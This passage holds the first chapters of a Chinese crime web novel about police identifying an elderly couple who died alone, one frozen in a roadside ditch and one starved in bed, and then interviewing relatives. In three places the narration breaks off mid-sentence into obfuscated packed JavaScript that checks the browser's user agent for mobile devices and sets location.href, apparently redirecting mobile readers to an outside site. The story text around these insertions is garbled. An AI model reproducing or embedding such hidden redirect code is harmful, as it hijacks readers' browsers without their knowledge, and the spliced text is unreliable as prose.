《全员死亡》 1. 第1章 腊月初六,隆冬。 雪花飘飞。 凌晨四点,天还黢黑,环卫工人已经推着三轮车开始工作了。连着下了两天一夜的大雪,路面冻得结结实实。已经在这片干了三年,老李从车上拿下来扫把,每一步都小心翼翼。 “沙沙,沙沙。” 扫雪声有规律地响起。忽然,他看见水沟里有一大团黑影,远远看着像是一大袋垃圾。 这是区里新修的公路,两边刚挖了沟,预备着开春种树,奈何总有些没素质的人把大袋的垃圾往沟里扔,往东再进了村里,还有往里面扔死人穿过的衣服的。老李叹了口气,搓了搓厚棉手套裹着的手,拿着手电筒蹒跚走了过去。可离得越近,却越看出不对来——那哪里是袋垃圾,分明是个穿黑衣服的人! 大冬天的,外面乌漆嘛黑,这是什么人,跑这里干什么? 站在路牙子上,老李心里发慌,试探着吆喝了一声:“谁在那里头啊!” 万籁俱寂,耳边只有呼呼的北风。那穿黑衣服的人在寒风里蹲着,没有一点动静。 这人该不是冻傻了吧? 越发觉得不妙,老李小心翼翼走了过去,手电筒的光对着那人的脸照。那人却还是低着头,迟迟没有反应。心里咯噔一下,他大声喊道:“喂!” 一边说着,他一边轻轻推了那人一把,那硬邦邦的触感令他顿觉不好。还不等他缓过神来,那人已经直直向后倒了去。 “啊——” 一声惊恐的尖叫,划破了寂静的冬夜。 *** 揣着文件的唐彦一进办公室,就差点被臭袜子和泡面的混合臭味原地送走,惊疑不定地问道:“这是怎么了?” 下巴向询问室一抬,高文的眼神充满了怨念:“可别提了,本来八点就能休息了。这下好了,不到中午是忙不完了。” 隔着透明玻璃,唐彦往里一看,队长徐建皱着眉头,不知说了什么,旁边新来的实习生小钱正在做笔录,一个穿着环卫工人亮橙色工作服的老人哆哆嗦嗦地捧着杯热水,白气在询问室里氤氲。 “都这个时候了还惦记换班呢。”长长伸了个懒腰,看了两个多小时监控的王浩叹了口气,“这都周五了,要是个凶杀案,咱这周末又没了。” 高文打着哈欠:“你忘了李桥派出所在路沟子里找出来的羽绒服了——面带微笑,反常脱衣,一看就是冻死的。我跟你说,这老太太九成九有老年痴呆。一准是家里人没看好,大半夜走失冻死了。” “去去去,别立flag。”王浩跟赶苍蝇似的,“这周末还想不想回家了?” 比了个拉拉链的手势,高文选择了闭嘴。 给了王浩一个赞许的眼神,唐彦顺手从茶水柜上拿了块奶糖,嚼巴着问起了进展:“确认死者身份了吗?” “没。”王浩摇了摇头,“发现尸体的那段路还没修好,压根没有摄像头,只能使劲往前找,现在就能看出是从东边十字路口顺着公路走过去的。死者身上也什么都没有,连钥匙都没拿,脚上穿的还是棉拖鞋。” 一脸不甘心的高文插了句嘴:“所以你看,我说九成九是家属没看住,失智老人半夜跑出来冻死了有错吗?” “你可闭嘴吧!”唐彦道,“上回谁言之凿凿说死者一定是电线断了被电死的,结果到头来是个意外伪装的杀人案?” 高文再次消音。 王浩道:“不过话说回来,死者身上那毛衣可不便宜,技术刚查了,得两千多。还有那身羽绒服,更不得了,说是什么鹅的,少说也得一万五六。这身行头加起来小两万,赶上咱们俩月工资了。” “一万五六?”瞪圆了眼,唐彦连倒好的水都忘了往嘴里送:“什么羽绒服一万五六,金子打的吗?” “是个国外的牌子,说是鹅绒的。”终于有了发言权的高文唏嘘道,“有钱人的世界咱们不懂。” “那这还不好查?”唐彦道,“就咱这儿的工资水平,什么家庭买得起这么贵的羽绒服啊?” 沭市是著名革命老区,曾是全国十八个连片的贫困地区之一,全市经济发展十分均衡,市辖三区九县,七个是国家级贫困县——剩下两个是省级的。近些年大力发展物流,政府靠卖地发了家,日子才好起来,可也不过堪堪摘了贫困地区的帽子,离富裕差着老远。 “别看咱们这地方小,有钱人可不少,咱们局往东最多两公里,那别墅一排一排的。”王浩道:“家里有钱是好事,这种一般都能知道及时报警。只要确定了尸源,这事就解决了一半。” 说话间,徐建已经推门出来了。看向电脑前的两人,他问道:“指挥中心和监控有发现吗?” 他约莫四十二三,身高将将一米八五,肩宽背厚,浓眉大眼,一脸通宵后的疲惫。 高文如实道:“指挥中心没有收到报警记录,系统也没有发现符合条件的失踪人口记录。” 王浩也道:“监控显示死者最后出现在为民路与建设路交叉口,为独自一人。前方是一片废弃工业园,再往前就是发现尸体的野地了,附近都没有安装监控。” 点了点头,徐建吩咐道:“省里培训,我等会就得走,最早也得下周三回来。小王牵头,联系建设路和为民路派出所,排查辖区居民家中有无老人走失。让指挥中心留意报警记录,尸体送去法医科做初步尸检。” 众人纷纷应是,各忙各的去了。 见徐建走了,唐彦推了推王浩:“老大怀疑这不是意外?” 摸了摸下巴,王浩道:“应该没有吧,就是合理怀疑,走个必要流程。要不不就不去培训了吗?” 点了点头,唐彦不说话了。 毕竟冬夜独自出门确实挺奇怪,死者经济状况又不错,照理就算得了老年痴呆,也该有护工之类的看着才对,走尸检流程也是防着家属闹事。 这年头,群众工作可比破案难做多了。 *** 听着王浩办公电话响起来,高文从绿萝后面探出头来,问道:“这个什么样?” 摇了摇头,王浩道:“不是,年纪对不上。” 从一堆纸质材料里抬起头来,小钱也插了一嘴:“还没有人报案?” 两手一摊,王浩道:“可不说么?这都四天了。大早上起来,好好一个大活人不见了,家里人怎么也该反应过来了啊。” 高文道:“你说会不会是自己住,或者老伴是个失能老人啊?” 王浩道:“那这难办喽。东边那片你又不是不知道,都是盖了没几年的新小区,哪有几个人住?就跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609765|187615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼城似的,邻里还都不认识。冬天门窗封闭又好,要是没人管没人问,死了烂在家里都没人知道。” “所以啊,年轻人还是得生孩子。”两人正说得热闹,冷不防法医科刘主任端着个陶瓷缸进来,笑眯眯问道:“个人事项都有进展了没有啊?” 尴尬地挠挠头,王浩转移了话题:“刘主任,您怎么过来了?” 刘主任道:“找你们徐队没找着,到这里看看。” 王浩道:“省里不是有个培训吗?徐队已经走了,您找他什么事?” 刘主任道:“是你们送去的那具尸体,初步检查都做了,看不出什么问题。我发消息他半天不回,就过来看看。” 王浩道:“徐队最早也得下周三才能回来。要不等他回来我去给您汇报?” 摆了摆手,刘主任道:“不用,也没什么事,我就顺便出来转转,你们回头跟他说一声就行了。” 嘴里这么说着,他脚下却不动,扭过头来上下打量着高文,笑眯眯地不说话。高文有些奇怪:“刘主任,您有事找我?” 咳嗽了一声,刘主任慢悠悠道:“咱们局里新遴选来了个小姑娘,知道不?和你一样大,今年二十八,长得不孬,有意向没有啊?” 顿时大窘,高文挠了挠头,尴尬道:“我,我这……” 他当然知道了!那女生来第一天他就知道了,至于为什么——当然是因为那女生是他大学舍友的前女友啊! 虽然奇怪这小子怎么吞吞吐吐的,不过这也不妨碍王浩替他解围。一拍大腿,他笑嘻嘻道:“刘主任,别忘了经侦的晓润啊!公大高材生,根正苗红的警察家庭,三十三岁的副队,前途无量啊!” 哼了一声,刘主任道:“就他那把年纪的老葱,人家小姑娘看得上?小高这年纪还差不多。” 王浩道:“他年纪是差不多,就是心思不在这上边。要说靠谱还得是晓润,万一人家姑娘就喜欢比自己大点的呢?” 迟疑了一下,刘主任道:“五岁……也还行?” 王浩怂恿道:“您是不知道,有的小姑娘不还喜欢大叔吗?要是其他方面合适,五岁也不算大。” 迟疑了一会,刘主任算是勉强认可了这个结论。正抬脚要走,忽然又瞥见了角落里的高文,忍不住语重心长道:“个人事项得急啊,你说说,一把年纪不结婚像什么样?可别跟你们队长学,一天天就知道加班,哪天把老婆都要给加跑咯!我们那会一毕业,豁,找对象比工作都上心,也不知道你们现在这些小年轻都怎么想的。” 高文讪笑道:“等忙完这个案子。现在事太多,过去这段再说。” “忙完?”刘主任一边摇着头,一边往外走,“案子哪有个头喔~” 高文讷讷。目送他出了门,王浩凑过来,好奇道:“你现在不是到处求偶吗,怎么刘主任给你介绍姑娘还不愿意了呢?要说那女生长得也还行啊,咋,不会是你前女友吧?” 他这话也是歪打正着,说对了一半,高文挥挥手,赶苍蝇似的撵他:“一天天的净瞎说,干活去吧你!万一耽误了时间,小心老太太家属来闹!” 哀嚎了一声,王浩正要认命继续去查失踪人口,唐彦就风一样刮了进来:“锦绣路派出所接到报警,死者身份查到了!” 2. 警官,你看这尸检能不能不做了啊? 办公室大门被猛地推开,唐彦带过来一阵寒风,把桌上的文件吹得哗哗作响。拿起桌子上的茶杯,他猛喝了几口,一抹嘴,大大咧咧道:“特大好消息,死者信息查出来了。” 周末没能休息,又忙活了整整四天,这话无异于满屋忙碌的警察给打了针兴奋剂。王浩忙问道:“什么情况?” “今儿一大早,锦绣路派出所接到一个报警电话,报案人说好几天联系不上他妹妹了,不放心,今天专门跑过去看看,结果敲门也没人开,于是就找物业开门。物业不认识他,当然不敢给开,但又怕真出什么事,于是一个电话打给了派出所,俩便衣提溜着刚抓的小偷就去了。那伙计业务也挺精湛,三下五除二把门给开了。结果,嘿,你猜怎么着?” 他这描述绘声绘色,案情简明扼要,十分经典。从警近十年,王浩已经把接下来的事情猜出个七七八八了。果不其然,接着就听唐彦一阵唏嘘:“屋里那骚臭味就不说了,一个老爷子躺在床上,瘦得跟柴火棒似的——一看就是活活饿死的。那在床上是圆瞪着眼,死不瞑目啊!进去那俩兄弟都给吓了一跳。物业尿了一□□,赖在派出所里说啥都不走,现在还搁那哆嗦呢。” 查到这里,事态基本明朗,老爷子的死因显而易见——老伴冻死路旁,失能又无人照料,在家里饿死几乎是必然,怎么看都是一场空巢老人的惨剧。不过以防万一,王浩还是问道:“现勘做了吗?” “那还用说?”唐彦道,“派出所那俩兄弟摇了好几个人,里里外外翻了好几遍,窗户台啥的都查了,啥情况没有。” 点了点头,王浩道:“正常也没啥情况。就是这老爷子瘫痪在床,外面又这么冷,还下着大雪,那老太太怎么就跑出去了呢?” “这你就不知道了,这家是真惨啊。”饶是见惯了苦难,唐彦仍是忍不住唏嘘,“那冻死的老太太叫段洁,今年六十一,和她家老爷子江伟华都是东沭区第一中学的老师,住在锦绣华府小区,夫妻俩就一个独生子,叫江叙白。” “诶,等等,江叙白?”王浩挠了挠头,“我怎么听着这名字有点耳熟呢?” 大摇着头,唐彦道:“他是你们县20xx届的高考状元。” “我去!”一下子就反应了过来,王浩一拍大腿,大惊失色,“这不是江神吗?我们那届的年级第一啊,就我们隔壁班的!这,他爸妈这是一起没了?他人呢?” “也没了——要不我怎么说他们一家真惨。”两手一摊,唐彦把问来的情况总结了一遍:“江叙白一路顺风顺水,保研直博进投行,前年又刚结了婚,眼看人生就要圆满了。结果你猜怎么着?去年出了车祸,人当场就没了,连个孩子都没有。白发人送黑发人,江伟华高血压发作,留了个偏瘫后遗症,已经在床上躺了大半年,话都不能说了。这接二连三一串打击下来,段洁精神也不大正常了。好在他俩退休工资都还不低,亲戚合计着给请了个护工。但是吧,过了还不到半年,那护工就说什么都不干了,家里就剩这老两口。亲戚也就偶尔去看看,一个月能去一回就不错了。要不是段洁他二哥放心不下,专门跑了这一趟,估摸着江伟华烂在家里都没人知道。” “这,”王浩一下说不出话来了,“失独老人,唉……” “要不都说福无双至,祸不单行啊。”唐彦长吁短叹,“该说不说,这能好好活着也是一种运气啊。” 唏嘘了一阵,高文问道:“查出段洁是怎么回事了吗?” “查了。”唐彦道:“他们那小区楼道里没监控,大门监控显示段洁是自己一个人走出去的,一路走到了发现她尸体的路沟里。” 高文道:“这大半夜的,她自己出去干什么?” “报案人,就是段洁她二哥,说她这里有点毛病。”指了指自己的脑袋,唐彦道,“说去医院看过,医生说得了老年痴呆。” 一下子明白过来,王浩道:“这真是……”心里好像有什么在堵着,他想了半天都找不到合适的词来形容,“都是命啊!” 叹了口气,高文道:“那咱们这联系谁去?他家没人了啊。” “他们这年纪,爹妈是都没了。至于兄弟姐妹,江伟华是个孤儿,就一个弟弟,不到三十就死了,没结婚也没孩子。”唐斌道:“所以他是真连个收尸的都没有了。段洁倒好说,她二哥就是咱们的报案人,现在刚认完尸,正在询问室里坐着呢。” “行啊,先问问去吧。”王浩叹道,“要没什么问题,等队长回来汇报一下,这案子应该就差不多了。” *** 询问室。 一个看着六十来岁,眼眶通红、头发灰白,穿着身破旧军大衣的老头拘谨地坐在椅子上,正不安地来回搓着手。见他们走过来,慌忙站起来,差点掀翻了桌子上的一次性水杯:“警,警官。” “您坐。”王浩客气道,“我们是刑侦支队的王浩和高文。听说今天您报案发现江伟华死亡,刚才又确认了前天走失冻死的老人是您妹妹段洁,所以想找您了解一些情况。请问您就是段卫国吗?” 一脸的局促不安,段二哥道:“诶,是,我是。” 点了点头,王浩道:“报警记录显示,你找物业开门的时候说你给段洁打电话打不通,实在不放心所以过去看看。可是你家住在沭河县,还是在村里,离着段洁家四五十公里,得倒三班公交,将近两个小时的车程。段洁只是两天没接电话,正常来讲还不至于费这么大劲专门跑一趟,能解释一下为什么吗?” 说起这个,段二哥脸上的皱纹苦得都拧起来了:“警官,你是不知道啊。叙叙——就是我外甥,他家跟旁人不一样。他爹是个瘫子,他妈脑子又有点毛病。就这样的两口子,你说两天不接电话,我心里能得劲吗?尤其昨天晚上我不知道怎么回事,心突突的跳,跳了一晚上,这不今天就想着过来看看。” 王浩道:“从我们走访结果看,从去年冬天到现在你一共只来过两回。现在就因为心里不得劲,所以专门倒上两个小时的车过来看她?” 愁着眉,段二哥道:“要是旁人我也不去,可叙叙他家,唉,这就跟被人下了咒似的啊!” 挑了眉,王浩道:“怎么说?” “叙叙他爹妈吧,都是老师。那会兴计划生育,吃国家饭的都不让多生,所以家里就这一个儿子,从小就疼得跟什么似的。叙叙自己也出息,脑子好使,考大学考京城去了,毕了业又去了魔都,一年能赚上百万。去年又找着了老婆,长得俊还能赚钱。眼瞅他家越过越红火,结果去年收玉米棒子那会,叙叙一下子出了车祸,人就没了。” 抹了把脸,段二哥唉声叹气:“自从出了这事,叙叙他妈就不太正常了,得了老年痴呆不说,还神神叨叨的,动不动就说叙叙和她说话了,把我们都吓得不轻,还说保姆要害她,硬要给撵走——你说人家害她干啥,这还指望着伺候他两口子拿钱呢。得亏她还没开口,人家就干不下去了,要不这亲戚也得罪了。” 两人互相看了一眼,高文问道:“保姆是你们亲戚?什么时候给找的?” 段二哥点点头:“是,就叙叙他爸村东头五婶子家的闺女,叫四妮,论起来还是叙叙他爸的妹妹,叙叙他爸瘫了之后我给找的。人老实,又勤快又利索,要是她还在也出不了这种事。” “那为啥段洁说保姆要害她?她怎么和你们说的?” 段二哥道:“哎,听她瞎说!四妮是因为吓得慌,去庙里找大师求了签,那大师给了桃木符黄纸啥的,让她随身戴着,结果让叙叙他妈看见了,这不就恼了?本来她就不大正常,这下就说人家是咒她,这玩意能咒个啥?就算真能咒死她,那对人家又有什么好处?” 王浩问道:“就因为这个,没别的了?” 段二哥道:“没了。” 皱了眉,王浩道:“我看段洁是正儿八经的大学生,她信这个?” 抹了一把脸,段二哥苦笑道:“不信啊,本来谁信这个?我们老段家就没一个信的。可叙叙他家太邪乎了啊!尤其叙叙没了,叙叙他妈就不行了,你说她再没个念想,那不就彻底疯了?随她信不信吧,总比真疯透了强。” 点了点头,王浩道:“江伟华瘫痪这又是怎么回事?” 段二哥叹了口气:“还不也是因为叙叙?叙叙他爸本来就有高血压,老来丧子,这哪受得了?一下子就厥了过去,人事不省了。偏偏叙叙那会正好给他妈报了个旅游团,家里一个人都没有,叙叙他爸硬是在地上躺了三四个小时才被发现,好歹给送进了医院去——要是再晚一会,那就死在家里了。二三十万砸进去,人是抢救过来了,就是再也动不了了,吃饭喝水都得人服侍——你说好好的,这一连串祸事儿怎么都给他家遇上了呢?” 他只顾着唉声叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唉声叹气的,段二哥道:“你说这也是命里应该,但凡那警察没多嘴……但凡叙叙他老婆灵醒点,早打了这个电话,叙叙他爸爸也不能干躺了三四个小时才被发现啊!到底是女人,经不得事。” 他没明说,话里话外却都隐含着对警察的迁怒。这种情况见多了,王浩也懒得和他掰扯,只当没听到:“那出了事之后呢,就他俩在家里住着?” “对,就他两口子。我们兄弟姊妹四个,都没啥本事,就属叙叙家混得好,其他都是出苦力的。我大哥还在外面打工,风里来雨里去的。你说出了这事,谁还能天天寸步不离地照顾?” 高文提出了疑问:“段洁夫妇不都是退休老师吗,手里应该有不少积蓄吧?” 说起这个,段二哥愈发叹起气来:“全都给叙叙在魔都买房了,哪还剩什么钱?外面还欠着三四十万的信用卡呢。” 王浩道:“那段洁身上的羽绒服是怎么回事?我们查了,官网得卖一万五六呢。” “羽绒服?”想了一下,段二哥道:“你说她身上穿的那个?那是叙叙给买的。去年叙叙在他们公司当上官了,一年涨了二十多万块钱,给他爸妈各买了一身衣裳,要不她哪舍得买这种糟蹋钱的玩意?尤其叙叙没了之后,他们两口子是一身衣裳都没添过。” 高文奇道:“江叙白死了之后,段洁夫妇没分到财产?” 摇了摇头,段二哥道:“叙叙车祸是他自己全责,在山路上没转过弯来,带着朋友掉进了山沟里。保险是赔了,可他还得赔他朋友家里呢,这就等于没赔了。魔都那房子一个月贷款又要还三万多,他老婆一个人哪还得了?本来房价就跌得厉害,这又着急卖,一下子亏了三百多万,抵完贷款一分不剩,首付全搭进去了。他们去年才刚还完借同事的钱,现在估摸着把那他们自己那套房子卖了,再还完欠银行的钱,也就能剩个五六万。” 算算时间,江叙白的房子正好买在最高点上。近年房价下行,一线城市的房子亏个三四百万是常事。对失去了独子的段洁夫妇而言,这实实在在称得上是屋漏偏逢连夜雨。 既然这样,那因为财产纠纷而杀人的可能性就很小了。 高文又简要问了问其他情况,段二哥一一答了。核实完了情况,没发现什么疑点,王浩遂道:“行,你要没什么疑问就在笔录上签个字。既然段洁没有直系亲属,那你们姊妹就一起商议商议,看看要不要做个尸检。” 犹豫了一下,段二哥道:“警官,你看这尸检能不能不做啊?” 3. 我是林清音,江叙白的家属 目前来看,段洁的死因十分明了。虽然不知道为什么她会深夜出门,在离家将近十公里的荒郊野岭冻死,但存在精神障碍的老人走失死亡实在不算罕见,尸检的意义确实不大。不过王浩还是顺口问了一句:“为什么?” 眼眶发红,段二哥道:“叙叙他妈这辈子苦啊。从小家里就穷,叙叙他爸家也没啥钱,辛辛苦苦一辈子,好不容易熬出头来,结果儿子死在了她前面,临了老头又瘫了,再要把她解剖了,那不是死无全尸吗?” 沉吟了一下,王浩道:“段洁的死因是比较明确的,毫无疑问的冻死。但是目前我们无法解释她为什么会深夜离家,所以她存在非意外死亡的可能性,你明白这个意思吧?” 段二哥听得一头雾水:“啥可能性?” “就是不知道为什么段洁会大晚上出门走那么远,还是穿着睡衣拖鞋。”高文解释道,“我们遇到过给死者下致幻剂,导致死者坠河死亡的情况,所以段洁的死目前也不能排除他杀。如果想要彻底查清楚,需要提取胃内容物做化验,也就是进行尸检。” 瞪大了眼,段二哥道:“啥意思?你们是说叙叙他妈是被人害死的?” 高文道:“没有,目前没有任何证据显示段洁的死有疑点,只是说存在这个可能。如果你们有疑问,可以申请尸检。” “没什么疑问吧,谁去害她一个六十多的老太太啊?”段二哥犹豫道,“这种糊涂了的老头、老太太不是经常这样吗?无缘无故就往外跑。我们村里去年就有个得了老年痴呆的老头走丢了,大半年都没找回来,后来警察给打电话,说就是在外边冻死了。” “行。”解释清楚了情况,王浩道:“那就和你们兄弟姊妹都说一声,要是都同意不尸检,就找个代表过来签字。” “应该没人要害她吧。”话说到这份上,段二哥反倒又迟疑起来了,“尸检要花钱吗?” 也不是第一次被这么问了,高文有些无奈:“不用。” “那,那我们再商议商议。”搓了搓手,段二哥唉声叹气,“这真是,都什么事啊!” 段洁的事儿有了着落,高文又问:“江伟华现在是什么亲属都没有了吗?” 段二哥摇了摇头:“他爹娘都没了七八年了,也没个兄弟姊妹,叙叙和叙叙他妈又都走了,哪还有什么亲属?” 要真是孤家寡人,那就难办了。高文不死心:“关系远的旁系亲属也没有吗?比如堂表兄弟之类的?” 段二哥道:“那我就不知道了。这平时也不怎么打交道,哪知道这种啊?” 这倒是实话。高文有些头疼,想了想,又问道:“那他家亲戚你有认识的吗?关系不用多近,沾点边就行。” “有,有!我想起来了!”他这话还没说完,段二哥就一拍大腿,大声道:“我这脑子,怎么就没想起来呢,他还有近亲属,不对,直系亲属啊!” 精神一振,旁边的王浩和高文异口同声:“谁?” “他儿媳妇啊!”段二哥理所当然,“这不是直系亲属吗?” 空欢喜一场,高文哭笑不得:“他儿子都没了,哪来的儿媳妇?” 听他这话,段二哥就不服气了:“诶,警官,话可不能这么说。叙叙才没了不到一年,那小丫头又还没再婚,那就还是他们老江家的人,怎么就不是他儿媳妇了?” 高文道:“他儿子既然死了,那婚姻关系就自然灭失了,你再想想还有没有其他的。” “其他的我不知道。再说,哪能这样啊?他儿媳妇是死了男人,又不是离婚。”段二哥说道,“而且他们老江家的事,他儿媳妇肯定知道得比我清楚。要找什么亲戚,你们问她不就成了?” …… 从问询室出来,高文整理着笔录:“段洁这事估摸着明后天就能了结,就是江伟华有点麻烦。” 段洁患有老年痴呆,再结合小区的监控,她的死没有什么疑点,初步可以排除他杀。如果尸检再没有什么问题,就能直接出结案报告了。江伟华的死虽然也没有什么疑问,可如果没有近亲属认尸和签字,程序上就麻烦了。 王浩也有些无奈:“先登户籍系统查查。要是真找不着近亲属,咱们就只能找江叙白前妻了。” 听段二哥那意思,江伟华生前和堂表兄弟不怎么来往。这种平时不打交道,血缘关系又疏远的亲戚,大概率是不会来的,委托这个委托那个,最后八成还是得找到江叙白前妻头上。当然,要是江叙白前妻也不来,那就只能找他单位收尸了。 高文叹了口气:“话是这么说,也得人家肯配合啊。” “到时候打个电话问问吧,这种一般还比较好说话。”王浩道,“她是丧偶又不是离婚,应该还有点旧情在。” 嗯了一声,高文回头道:“小钱,翻翻户籍系统,明天给江伟华亲戚挨个打电话,让他们派个代表,明天过来把流程走了。记得把江叙白前妻的号码也一块查了,指不定也得用。” 哎了一声,小钱道:“好嘞。” “回家回家——” 长长伸了个懒腰,高文想,这周末应该能休班了吧。 *** “噢噢。那您的孩子呢,方便过来一趟吗……” 打着哈欠从值班室走出来,绕过还在打电话的小钱,王浩看向高文:“问的怎么样?” 摇了摇头,高文道:“江伟华父亲有两个姐姐,一个弟弟,结婚之后来往就少了,后来江伟华父亲去世,基本就不走动了,他母亲那边也差不多这个情况。乍一听人没了,还都挺唏嘘的,但我一说要过来办手续,就都不吭声了,不是忙就是在外面打工。有让咱们给火化的,有让找他们单位的,有让找江叙白前妻的,有让找他盟兄弟的,还有让找他学生的——你说说,这都什么事啊!” “人情淡如水啊。”王浩叹道,“那江叙白前妻呢?” “小钱昨天就给打电话了,一开始也是说不方便,让我们找江伟华亲戚。后来小钱说江伟华家实在没人了,老两口儿子没了,死得又惨,好歹过来一趟,别让他们连个收尸的都没有。而且她是利害关系人,就算她这回不来,咱们以后也还得找她问情况。她最后就答应了,说今天下午有空,估摸着一会该过来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609767|187615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咦了一声,王浩奇道:“江叙白在魔都,他对象在咱们这儿?” 夫妻长期异地啊。 摇了摇头,高文道:“没,也在魔都。但是她在老家办公,咱们正好赶上了。” “谢天谢地,总算有个顺妥的了。昨天我把案情报告发给老大的时候,他还说江伟华恐怕挺麻烦。”打了个响指,王浩道,“对了,段洁家属同意尸检了吗?” “还有犹豫着呢,不过我听那意思差不多。”高文道,“就是刘主任说毒理检验得等,最早也得明天下班出结果。” 王浩道:“行,正好我和他们单位也联系上了,等他们答应了就走程序。要是尸检结果没问题,不行后天就让他们过来一趟吧。找到给他收尸的,咱们的工作也就做到位了。” “这样要是没有问题,后天老大回来咱们就能给他结案报告了。”高文不无感慨,“总算能过个舒坦的周末了。” “去去去,你个乌鸦嘴,可别立flag。”王浩一边剥火腿肠,一边吐槽他,“人家是死亡小学生,你是死亡预言家,说啥案啥案是凶杀。” “嘿,老王,可不带你这样说。”高文胸一挺,“我那是犯罪雷达,天生自带系统,注定要成为正义的人民警察。” 王浩嘴一撇,掐着脖子就作呕吐状。由于表情过于生动,正在拧可乐瓶子的小钱一时不防歪了手,满满一瓶肥宅快乐水全喷到了高文脸上。 看他满头满脸的可乐泡泡,王浩一边给他拿纸,一边笑得眼泪都要出来了:“你看,我说但凡和你沾边就没好事。” 高文悲愤道:“我昨天刚洗的头!我打了发胶!我今天要去见相亲对象!老王,你怎么能为了证明我运气邪门就去蛊惑小钱呢?这是故意伤害,你懂吗?” 小钱本就愧疚得脸通红,闻此越发羞愧,赶紧抓了两张抽纸:“文哥,对不起!你赶紧擦擦。” 高文接过来胡乱抹了两把,对着警容镜一看,头发全粘在了一起,刚才英勇光辉的人民警察已经变成了一条湿漉漉的落水狗,不禁悲从中来:“我的头发啊——” “行了,别看你的头发了,本来就不剩几根,赶紧去洗洗。值班室里有洗发水,我昨天刚拿来的。”王浩笑得肚子疼,“小钱,不用管他,他相亲就没成过。” 高文愈发悲从中来:“好啊,小钱,你这个浓眉大眼的也背叛了革命。我要是找不着对象,你也休想脱单!” 他一面说着,一面捂着脸,一头窜向了楼道尽头的卫生间,只留下身后的小钱哭丧着脸:“高哥,我真不是故意的——” 王浩笑得打跌,正乐不可支,忽然听到外面传来“笃笃笃”的敲门声。和小钱对视了一眼,两人都连忙整了整衣服,王浩道:“请进。” 一个看着约莫二十五六的女生走了进来。身量娇小,眉眼秀气,戴白色蕾丝手套,大衣内套粉蔷薇旗袍,珍珠耳坠温润生光,声音是北方女生罕有的软糯:“你好,请问刑侦支队钱源主任在吗?” 小钱连忙站了起来:“我是钱源,你是?” 那女生笑了笑:“我是林清音,江叙白的家属。” 4. 我们是科研机构嘛,上一休六 她肌肤光洁,脸上没有一丝皱纹,搭着珍珠手套,像极了民国剧里的上海滩大小姐,怎么也看不出档案里三十出头的模样。 磕巴了一下,小钱才道:“你好,你好,林女士是吧,感谢配合。关于江伟华,我们是有些事儿想要了解一下。” 王浩也反应了过来,起身领着她就要去问询室:“麻烦来这边坐一下,我们简单问一下情况。” 拿上东西,他大步走到前面,却才拉开办公室门,就看见了夹着公文包的徐建,愣了一下:“徐队?” 点了点头,徐建正要说话,就一眼瞥见了他身后的女生,神情有些诧异。 王浩见状,连忙向他介绍:“徐队,这位是段洁的家属,江叙白的前妻林清音,接到我们通知过来的。” 知道这就是他们领导了,林清音客气地伸出了手:“您好。” 她容貌文秀,气质温婉,一身书卷气。看步态,年纪应当在三十岁左右。虽然戴着蕾丝薄纱手套,但通过较薄的背部,也能看出生活条件应该不错。不动声色上下打量了一番,徐建握上了她的手:“你好,林女士,感谢配合。” 浅浅笑了笑,林清音道:“都是应该的。” 看着徐建,王浩道:“那我带她去问询室?” 徐建问道:“小高呢?” 王浩道:“他去洗手间了,我和小钱说了,等他回来就让他过来。” 顺手把公文包递给钱源,徐建道:“不用让他来了,我和你一起吧,你问就行。” 愣了一下,王浩应道:“好嘞。” *** 询问室里还算暖和,中央空调呼呼地吹着,暖风熏得人昏昏欲睡。 “段洁是你前夫江叙白的母亲?” 林清音点了点头:“对,她是我婆婆。” 翻看着她的个人信息,王浩问道:“我看你们是高中校友,又都是做金融的,感情一定很好吧?” 捋了一下耳边的碎发,林清音苦笑了一声:“要说真多好谈不上。相亲认识的,家里又都催,所以到年纪就结婚了。但他这一车祸,好好的人一下子没了,心里确实挺不是滋味的。” 话锋一转,王浩道:“你换工作也是因为这事儿吗?” 林清音道:“差不多吧,交警说事故是夜间疲劳驾驶导致的。投行么,都这样,他当时也确实连着加班加了一个多星期,实在熬不住了,所以才去休的假。我也差不多这情况。所以出了这事之后,我妈妈就说什么都不愿意我再继续干了,我自己心理上也确实受了点冲击,觉得还是好好活着更重要,就辞职去研究所了。” 嗯了一声,王浩道:“理解。江叙白爸妈受到打击也应该挺大的吧,我看他们去世之前的情况也都不太好。” “他是独生子,我们结婚也才不到一年,又没有孩子。这样白发人送黑发人,”情绪明显低落下来,林清音道,“出了事之后两人都崩溃了。他爸爸当场脑溢血,从此就瘫痪了。他妈妈精神时好时坏,不过大部分时间还是清醒的,生活能自理,也能照顾人,亲戚偶尔能去看看,我也去过两三回。” 王浩道:“江伟华夫妇都是老师,应该也得有点积蓄吧,不找个保姆照顾?” “找过,但后来走了。听说是因为我婆婆经常自言自语,还说是在和叙白说话,保姆吓得不敢干了。”林清音苦笑道,“听着挺邪乎的,换我我估计也不敢呆下去了。” 